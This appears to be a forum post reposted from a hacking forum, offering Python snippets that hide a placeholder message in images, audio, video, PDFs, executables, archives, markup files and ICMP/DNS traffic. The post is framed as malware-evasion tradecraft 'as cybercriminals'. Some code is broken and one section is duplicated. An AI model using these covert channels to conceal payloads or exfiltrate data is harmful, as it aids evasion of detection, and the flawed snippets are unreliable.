Exploiting Steganography: A Hacker's Guide

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Part 2 of


https://xss.is/threads/115826/


Exploiting Steganography: A Hacker's Guide

STEGO(XSS.is Part 2).png


Introduction

In today's world, information security and combating cyber threats are of paramount importance. One of the techniques that has gained attention in this field is steganography. Steganography refers to the concealment of information within other files in such a way that the existence of the hidden information is undetectable. In the first version of the article, we explored the principles and applications of steganography. In this article, we intend to examine evasion techniques and malware that utilize steganography for concealment.

Malware and Steganography

Malware, or malicious software, pose one of the primary security threats to users and organizations. These software are designed with malicious intentions such as data theft, unauthorized access to systems, and disrupting their operations. In recent years, malware has evolved significantly and employs more sophisticated techniques for hiding and evading detection. One of these techniques is the use of steganography.

Evasion Techniques Using Steganography

Malware that utilizes steganography hides malicious information within harmless files such as images, videos, or text documents. This technique makes the identification and tracking of malware much more challenging. Some evasion techniques used by malware employing steganography include:

Data hiding in images:

Malware can conceal malicious information within the pixels of digital images. This information may include executable code, instructions, or sensitive data.

Concealment in audio and video files:

Audio and video files can also serve as carriers for malicious information. By making subtle changes to audio frequencies or video frames, the hidden information evades detection by security software.
Using steganography in network traffic:

Malware can hide its data within network traffic packets. This technique can be used for covertly transferring data between infected systems and command and control servers.​

1. Data Hiding in Images (LSB) Implementation Method:

This method involves embedding hidden data bits in the least significant bits of image pixels.

Practical Example:

Python: Скопировать в буфер обмена
Код:
from PIL import Image

def to_binary(data):
    return ''.join(format(ord(i), '08b') for i in data)

def encode_image(image_path, data):
    image = Image.open(image_path)
    binary_data = to_binary(data)
    pixels = list(image.getdata())

    binary_index = 0
    for i in range(len(pixels)):
        pixel = list(pixels[i])
        for j in range(3):  # assuming RGB image
            if binary_index < len(binary_data):
                pixel[j] = (pixel[j] & 0xFE) | int(binary_data[binary_index])
                binary_index += 1
        pixels[i] = tuple(pixel)

    image.putdata(pixels)
    image.save('encoded_image.png')

def decode_image(image_path):
    image = Image.open(image_path)
    pixels = list(image.getdata())
    binary_data = ""

    for pixel in pixels:
        for value in pixel:
            binary_data += str(value & 0x1)

    byte_data = [binary_data[i:i+8] for i in range(0, len(binary_data), 8)]
    decoded_message = "".join([chr(int(byte, 2)) for byte in byte_data])

    return decoded_message

# Example usage
encode_image('example.png', 'SECRET MESSAGE')
message = decode_image('encoded_image.png')
print("Hidden message:", message)

2. Data Hiding in Audio Files (LSB) Implementation Method:

This method involves embedding hidden data bits in the least significant bits of audio samples.

Practical Example:
Python: Скопировать в буфер обмена
Код:
import wave

def encode_audio(audio_path, data):
    song = wave.open(audio_path, mode='rb')
    frame_bytes = bytearray(list(song.readframes(song.getnframes())))
    binary_data = to_binary(data) + '1111111111111110'  # End of message marker

    for i in range(len(binary_data)):
        frame_bytes[i] = (frame_bytes[i] & 0xFE) | int(binary_data[i])

    frame_modified = bytes(frame_bytes)
    with wave.open('encoded_audio.wav', 'wb') as fd:
        fd.setparams(song.getparams())
        fd.writeframes(frame_modified)

def decode_audio(audio_path):
    song = wave.open(audio_path, mode='rb')
    frame_bytes = bytearray(list(song.readframes(song.getnframes())))
    extracted_bits = [frame_bytes[i] & 0x1 for i in range(len(frame_bytes))]
    binary_data = "".join(map(str, extracted_bits))
    byte_data = [binary_data[i:i+8] for i in range(0, len(binary_data), 8)]

    decoded_message = ""
    for byte in byte_data:
        if byte == '11111111':
            break
        decoded_message += chr(int(byte, 2))

    return decoded_message

# Example usage
encode_audio('example.wav', 'SECRET MESSAGE')
message = decode_audio('encoded_audio.wav')
print("Hidden message:", message)

`
3. Data Hiding in Video Files Implementation Method:

In this method, malicious data is concealed within video frames by making slight alterations to pixels.

Practical Example:
Python: Скопировать в буфер обмена
Код:
import cv2
import numpy as np

def encode_video(video_path, data):
    cap = cv2.VideoCapture(video_path)
    fourcc = cv2.VideoWriter_fourcc(*'XVID')
    out = cv2.VideoWriter('encoded_video.avi', fourcc, 20.0, (int(cap.get(3)), int(cap.get(4))))

    binary_data = to_binary(data) + '1111111111111110'
    binary_index = 0

    while cap.isOpened():
        ret, frame = cap.read()
        if not ret or binary_index >= len(binary_data):
            break

        for row in frame:
            for pixel in row:
                for i in range(3):  # BGR
                    if binary_index < len(binary_data):
                        pixel[i] = (pixel[i] & 0xFE) | int(binary_data[binary_index])
                        binary_index += 1

        out.write(frame)

    cap.release()
    out.release()

def decode_video(video_path):
    cap = cv2.VideoCapture(video_path)
    binary_data = ""

    while cap.isOpened():
        ret, frame = cap.read()
        if not ret:
            break

        for row in frame:
            for pixel in row:
                for i in range(3):  # BGR
                    binary_data += str(pixel[i] & 0x1)

    byte_data = [binary_data[i:i+8] for i in range(0, len(binary_data), 8)]
    decoded_message = ""
    for byte in byte_data:
        if byte == '11111111':
            break
        decoded_message += chr(int(byte, 2))

    cap.release()
    return decoded_message

# Example usage
encode_video('example.avi', 'SECRET MESSAGE')
message = decode_video('encoded_video.avi')
print("Hidden message:", message)

4. Concealing Data in Text Files Using Spaces and Formatting Implementation:

In this method, hidden data is concealed within text files by making subtle changes in spaces and formatting (such as adding extra spaces or font changes).
Practical Example:

Python: Скопировать в буфер обмена
Код:
def encode_text(file_path, data):
    binary_data = to_binary(data)
    with open(file_path, 'r') as file:
        content = file.read()

    encoded_content = ""
    binary_index = 0
    for char in content:
        if char == ' ' and binary_index < len(binary_data):
            if binary_data[binary_index] == '1':
                encoded_content += '  '  # double space for '1'
            else:
                encoded_content += ' '  # single space for '0'
            binary_index += 1
        else:
            encoded_content += char

    with open('encoded_text.txt', 'w') as file:
        file.write(encoded_content)

def decode_text(file_path):
    with open(file_path, 'r') as file:
        content = file.read()

    binary_data = ""
    i = 0
    while i < len(content):
        if content[i] == ' ':
            if i + 1 < len(content) and content[i + 1] == ' ':
                binary_data += '1'
                i += 2
            else:
                binary_data += '0'
                i += 1
        else:
            i += 1

    byte_data = [binary_data[i:i+8] for i in range(0, len(binary_data), 8)]
    decoded_message = "".join([chr(int(byte, 2)) for byte in byte_data])

    return decoded_message

# Example usage
encode_text('example.txt', 'SECRET MESSAGE')
message = decode_text('encoded_text.txt')
print("Hidden message:", message)

5. Concealing Data in PDF Files Using Hidden Objects
Implementation:

In this method, hidden data is embedded within hidden objects in PDF files, such as comments or metadata.
Practical Example:

Python: Скопировать в буфер обмена
Код:
from PyPDF2 import PdfFileReader, PdfFileWriter

def encode_pdf(pdf_path, data):
    binary_data = to_binary(data)
    reader = PdfFileReader(pdf_path)
    writer = PdfFileWriter()

    for i in range(reader.numPages):
        page = reader.getPage(i)
        if i == 0:  # encoding on the first page
            page_content = page.extract_text()
            encoded_content = ""
            binary_index = 0
            for char in page_content:
                if char == ' ' and binary_index < len(binary_data):
                    if binary_data[binary_index] == '1':
                        encoded_content += '  '  # double space for '1'
                    else:
                        encoded_content += ' '  # single space for '0'
                    binary_index += 1
                else:
                    encoded_content += char
            page[0].update({'/Contents': encoded_content})
        writer.addPage(page)

    with open('encoded_pdf.pdf', 'wb') as out_file:
        writer.write(out_file)

def decode_pdf(pdf_path):
    reader = PdfFileReader(pdf_path)
    page = reader.getPage(0)
    content = page.extract_text()

    binary_data = ""
    i = 0
    while i < len(content):
        if content[i] == ' ':
            if i + 1 < len(content) and content[i + 1] == ' ':
                binary_data += '1'
                i += 2
            else:
                binary_data += '0'
                i += 1
        else:
            i += 1

    byte_data = [binary_data[i:i+8] for i in range(0, len(binary_data), 8)]
    decoded_message = "".join([chr(int(byte, 2)) for byte in byte_data])

    return decoded_message

# Example usage
encode_pdf('example.pdf', 'SECRET MESSAGE')
message = decode_pdf('encoded_pdf.pdf')
print("Hidden message:", message)

5. Concealing Data in PDF Files Using Hidden Objects Implementation:
In this method, hidden data is placed inside hidden objects within PDF files, such as comments or metadata.

Practical Example:

Python: Скопировать в буфер обмена
Код:
from PyPDF2 import PdfFileReader, PdfFileWriter

def encode_pdf(pdf_path, data):
    binary_data = to_binary(data)
    reader = PdfFileReader(pdf_path)
    writer = PdfFileWriter()

    for i in range(reader.numPages):
        page = reader.getPage(i)
        if i == 0:  # encoding on the first page
            page_content = page.extract_text()
            encoded_content = ""
            binary_index = 0
            for char in page_content:
                if char == ' ' and binary_index < len(binary_data):
                    if binary_data[binary_index] == '1':
                        encoded_content += '  '  # double space for '1'
                    else:
                        encoded_content += ' '  # single space for '0'
                    binary_index += 1
                else:
                    encoded_content += char
            page[0].update({'/Contents': encoded_content})
        writer.addPage(page)

    with open('encoded_pdf.pdf', 'wb') as out_file:
        writer.write(out_file)

def decode_pdf(pdf_path):
    reader = PdfFileReader(pdf_path)
    page = reader.getPage(0)
    content = page.extract_text()

    binary_data = ""
    i = 0
    while i < len(content):
        if content[i] == ' ':
            if i + 1 < len(content) and content[i + 1] == ' ':
                binary_data += '1'
                i += 2
            else:
                binary_data += '0'
                i += 1
        else:
            i += 1

    byte_data = [binary_data[i:i+8] for i in range(0, len(binary_data), 8)]
    decoded_message = "".join([chr(int(byte, 2)) for byte in byte_data])

    return decoded_message

# Example usage
encode_pdf('example.pdf', 'SECRET MESSAGE')
message = decode_pdf('encoded_pdf.pdf')
print("Hidden message:", message)


6. Concealing Data in Network Traffic Using Various Protocols (e.g., ICMP) Implementation:
In this method, hidden data is concealed within network traffic packets. These packets may contain extra or unnecessary information that covertly transmit malicious data.

Practical Example:
Python: Скопировать в буфер обмена
Код:
from scapy.all import *

def encode_icmp(data):
    binary_data = to_binary(data)
    packet = IP(dst="192.168.1.1")/ICMP(type=8)/Raw(load=binary_data)
    send(packet)

def decode_icmp(packet):
    if ICMP in packet and packet[ICMP].type == 8:
        binary_data = packet[Raw].load.decode()
        byte_data = [binary_data[i:i+8] for i in range(0, len(binary_data), 8)]
        decoded_message = "".join([chr(int(byte, 2)) for byte in byte_data])
        print("Hidden message:", decoded_message)

# Example usage
encode_icmp('SECRET MESSAGE')
sniff(filter="icmp", prn=decode_icmp, count=1)

7. Concealing Data in Executable Files Using Unauthorized Sections Implementation:

In this method, hidden data is embedded within unauthorized or unnecessary sections of executable files (such as padding or metadata).

Practical Example:

Python: Скопировать в буфер обмена
Код:
def encode_executable(executable_path, data):
    with open(executable_path, 'rb') as file:
        content = file.read()

    binary_data = to_binary(data) + '1111111111111110'
    binary_index = 0
    encoded_content = bytearray(content)

    for i in range(len(content)):
        if binary_index < len(binary_data):
            encoded_content[i] = (encoded_content[i] & 0xFE) | int(binary_data[binary_index])
            binary_index += 1

    with open('encoded_executable.exe', 'wb') as file:
        file.write(encoded_content)

def decode_executable(executable_path):
    with open(executable_path, 'rb') as file:
        content = file.read()

    binary_data = ""
    for byte in content:
        binary_data += str(byte & 0x1)

    byte_data = [binary_data[i:i+8] for i in range(0, len(binary_data), 8)]
    decoded_message = ""
    for byte in byte_data:
        if byte == '11111111':
            break
        decoded_message += chr(int(byte, 2))

    return decoded_message

# Example usage
encode_executable('example.exe', 'SECRET MESSAGE')
message = decode_executable('encoded_executable.exe')
print("Hidden message:", message)


8. Data Concealment in ZIP Files Implementation Approach:

In this method, hidden data is embedded within ZIP files utilizing the compression features and file structure of archives.

Practical Example:
Python: Скопировать в буфер обмена
Код:
import zipfile 

def encode_zip(zip_path, data):     
    binary_data = to_binary(data)     
    with zipfile.ZipFile(zip_path, 'w') as zip_file:         
        zip_file.writestr('dummy.txt', 'This is a dummy file.')         
        zip_file.writestr('hidden.txt', binary_data) 

def decode_zip(zip_path):     
    with zipfile.ZipFile(zip_path, 'r') as zip_file:         
        binary_data = zip_file.read('hidden.txt').decode()         
        byte_data = [binary_data[i:i+8] for i in range(0, len(binary_data), 8)]         
        decoded_message = "".join([chr(int(byte, 2)) for byte in byte_data])     
    return decoded_message 

# Example usage
encode_zip('encoded_zip.zip', 'SECRET MESSAGE')
message = decode_zip('encoded_zip.zip')
print("Hidden message:", message)

9. Concealing Data in DNS Protocol Implementation Method:

In this method, hidden data is embedded within DNS queries. These data can be encoded within domain names.

Practical Example:

Python: Скопировать в буфер обмена
Код:
from scapy.all import *

def encode_dns(data):
    binary_data = to_binary(data)
    chunks = [binary_data[i:i+4] for i in range(0, len(binary_data), 4)]
    encoded_domain = ''.join([format(int(chunk, 2), 'x') for chunk in chunks])
    packet = IP(dst="8.8.8.8") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname=f"{encoded_domain}.example.com"))
    send(packet)

def decode_dns(packet):
    if DNS in packet and packet[DNS].qr == 0:
        encoded_domain = packet[DNSQR].qname.decode().split('.')[0]
        binary_data = ''.join([format(int(char, 16), '04b') for char in encoded_domain])
        byte_data = [binary_data[i:i+8] for i in range(0, len(binary_data), 8)]
        decoded_message = "".join([chr(int(byte, 2)) for byte in byte_data])
        print("Hidden message:", decoded_message)

# Example usage
encode_dns('SECRET MESSAGE')
sniff(filter="udp port 53", prn=decode_dns, count=1)

10. Concealing Data in EXIF of Images Implementation Method:
In this method, hidden data is embedded within the EXIF metadata of digital images.

Practical Example:

Python: Скопировать в буфер обмена
Код:
from PIL import Image
from PIL.ExifTags import TAGS, GPSTAGS

def encode_exif(image_path, data):
    image = Image.open(image_path)
    exif_data = image.getexif()
    binary_data = to_binary(data)
    exif_data[270] = binary_data  # Using the ImageDescription tag (270)
    image.save('encoded_exif.jpg', exif=exif_data)

def decode_exif(image_path):
    image = Image.open(image_path)
    exif_data = image.getexif()
    binary_data = exif_data.get(270)
    byte_data = [binary_data[i:i+8] for i in range(0, len(binary_data), 8)]
    decoded_message = "".join([chr(int(byte, 2)) for byte in byte_data])
    return decoded_message

# Example usage
encode_exif('example.jpg', 'SECRET MESSAGE')
message = decode_exif('encoded_exif.jpg')
print("Hidden message:", message)

11. Data Concealment in HTML Files Implementation Method:

In this method, hidden data is concealed within HTML comment tags or by using invisible tags.

Practical Example:

Python: Скопировать в буфер обмена
Код:
def encode_html(file_path, data):
    binary_data = to_binary(data)
    with open(file_path, 'r') as file:
        content = file.read()
        encoded_content = content.replace('</body>', f'<!--{binary_data}--></body>')
    with open('encoded_html.html', 'w') as file:
        file.write(encoded_content)

def decode_html(file_path):
    with open(file_path, 'r') as file:
        content = file.read()
        start = content.find('<!--') + 4
        end = content.find('-->', start)
        binary_data = content[start:end]
        byte_data = [binary_data[i:i+8] for i in range(0, len(binary_data), 8)]
        decoded_message = "".join([chr(int(byte, 2)) for byte in byte_data])
    return decoded_message

# Example usage
encode_html('example.html', 'SECRET MESSAGE')
message = decode_html('encoded_html.html')
print("Hidden message:", message)

12. Data Concealment in BMP Files Implementation Method:
In this method, hidden data is concealed within the least significant bits of BMP image pixels. BMP format is suitable for this purpose due to lack of compression.

Practical Example:

Python: Скопировать в буфер обмена
Код:
def encode_bmp(image_path, data):
    with open(image_path, 'rb') as file:
        content = bytearray(file.read())
        binary_data = to_binary(data)
        data_len = len(binary_data)
        header_size = 54  # BMP header size
        for i in range(data_len):
            content[header_size + i] = (content[header_size + i] & 0xFE) | int(binary_data[i])
        with open('encoded_image.bmp', 'wb') as file:
            file.write(content)

def decode_bmp(image_path):
    with open(image_path, 'rb') as file:
        content = bytearray(file.read())
        binary_data = ""
        header_size = 54  # BMP header size
        for i in range(header_size, len(content)):
            binary_data += str(content[i] & 0x1)
        byte_data = [binary_data[i:i+8] for i in range(0, len(binary_data), 8)]
        decoded_message = "".join([chr(int(byte, 2)) for byte in byte_data])
    return decoded_message

# Example usage
encode_bmp('example.bmp', 'SECRET MESSAGE')
message = decode_bmp('encoded_image.bmp')
print("Hidden message:", message)


13. Data Concealment in XML Tags Implementation Method:

In this method, hidden data is concealed within XML comment tags or by using invisible tags.

Practical Example:


Python: Скопировать в буфер обмена
Код:
def encode_xml(file_path, data):
    binary_data = to_binary(data)
    with open(file_path, 'r') as file:
        content = file.read()
        encoded_content = content.replace('</root>', f'<!--{binary_data}--></root>')
    with open('encoded_xml.xml', 'w') as file:
        file.write(encoded_content)

def decode_xml(file_path):
    with open(file_path, 'r') as file:
        content = file.read()
        start = content.find('<!--') + 4
        end = content.find('-->', start)
        binary_data = content[start:end]
        byte_data = [binary_data[i:i+8] for i in range(0, len(binary_data), 8)]
        decoded_message = "".join([chr(int(byte, 2)) for byte in byte_data])
    return decoded_message

# Example usage
encode_xml('example.xml', 'SECRET MESSAGE')
message = decode_xml('encoded_xml.xml')
print("Hidden message:", message)

14. Data Concealment in JSON Files Implementation Method:
In this method, hidden data is concealed within JSON files using additional fields or self-descriptive keys.

Practical Example:

Python: Скопировать в буфер обмена
Код:
import json

def encode_json(json_path, data):
    with open(json_path, 'r') as file:
        json_data = json.load(file)
        json_data['hidden_data'] = data
    with open('encoded_json.json', 'w') as file:
        json.dump(json_data, file)

def decode_json(json_path):
    with open(json_path, 'r') as file:
        json_data = json.load(file)
        hidden_data = json_data.get('hidden_data', '')
    return hidden_data

# Example usage
encode_json('example.json', 'SECRET MESSAGE')
message = decode_json('encoded_json.json')
print("Hidden message:", message)

15. Data Concealment in File Names Implementation Method:
In this method, hidden data is embedded within file names. This method is commonly used for sending data in environments such as email or file sharing.

Practical Example:

Python: Скопировать в буфер обмена
Код:
import os

def encode_file_name(file_path, data):
    dir_path, file_name = os.path.split(file_path)
    encoded_file_name = f'{file_name}_{data}'
    os.rename(file_path, os.path.join(dir_path, encoded_file_name))

def decode_file_name(file_path):
    dir_path, encoded_file_name = os.path.split(file_path)
    file_name, hidden_data = encoded_file_name.rsplit('_', 1)
    return hidden_data

# Example usage
encode_file_name('example.txt', 'SECRET MESSAGE')
hidden_data = decode_file_name('example_SECRET MESSAGE.txt')
print("Hidden data:", hidden_data)

16. Data Concealment in Text Files Implementation Method:
In this method, hidden data is embedded within text files using empty spaces, special characters, or specific combinations.

Practical Example:

Python: Скопировать в буфер обмена
Код:
def encode_text_file(file_path, data):
    with open(file_path, 'a') as file:
        file.write('\n' + data)

def decode_text_file(file_path):
    with open(file_path, 'r') as file:
        lines = file.readlines()
        hidden_data = lines[-1].strip()
    return hidden_data

# Example usage
encode_text_file('example.txt', 'SECRET MESSAGE')
hidden_data = decode_text_file('example.txt')
print("Hidden data:", hidden_data)


In this project, we have delved into the realm of steganography, exploring its applications in embedding malicious code within various file types, such as images, audio, and video. By meticulously concealing our payload within these seemingly innocuous files, we have demonstrated the ability to bypass traditional security measures and deliver malware undetected.

This exploration would not have been possible without the guidance and inspiration of Sarreyayvoh , whose innovative ideas and insights laid the foundation for our project. Their expertise and vision have been instrumental in shaping our approach and understanding of steganographic techniques.

As cybercriminals, we leveraged advanced steganographic methods to mask our activities, presenting significant challenges for cybersecurity professionals in detecting and analyzing our actions. This exercise underscored the sophistication required in both offensive and defensive cybersecurity operations, highlighting the intricate dance between attackers and defenders.

Through our experiments, we have gained a deeper appreciation for the tools and methods employed by adversaries. This knowledge is crucial for developing effective strategies to protect systems and data. By understanding the techniques used in steganography, we can better anticipate and counteract potential threats.

In conclusion, this project has provided valuable insights into the practical application of steganography in cyber attacks, emphasizing the continuous innovation and vigilance needed in cybersecurity. As we refine our methods and strategies, we must remain cognizant of the evolving threat landscape and the persistent efforts required to safeguard against such sophisticated attacks.
 
Сверху Снизу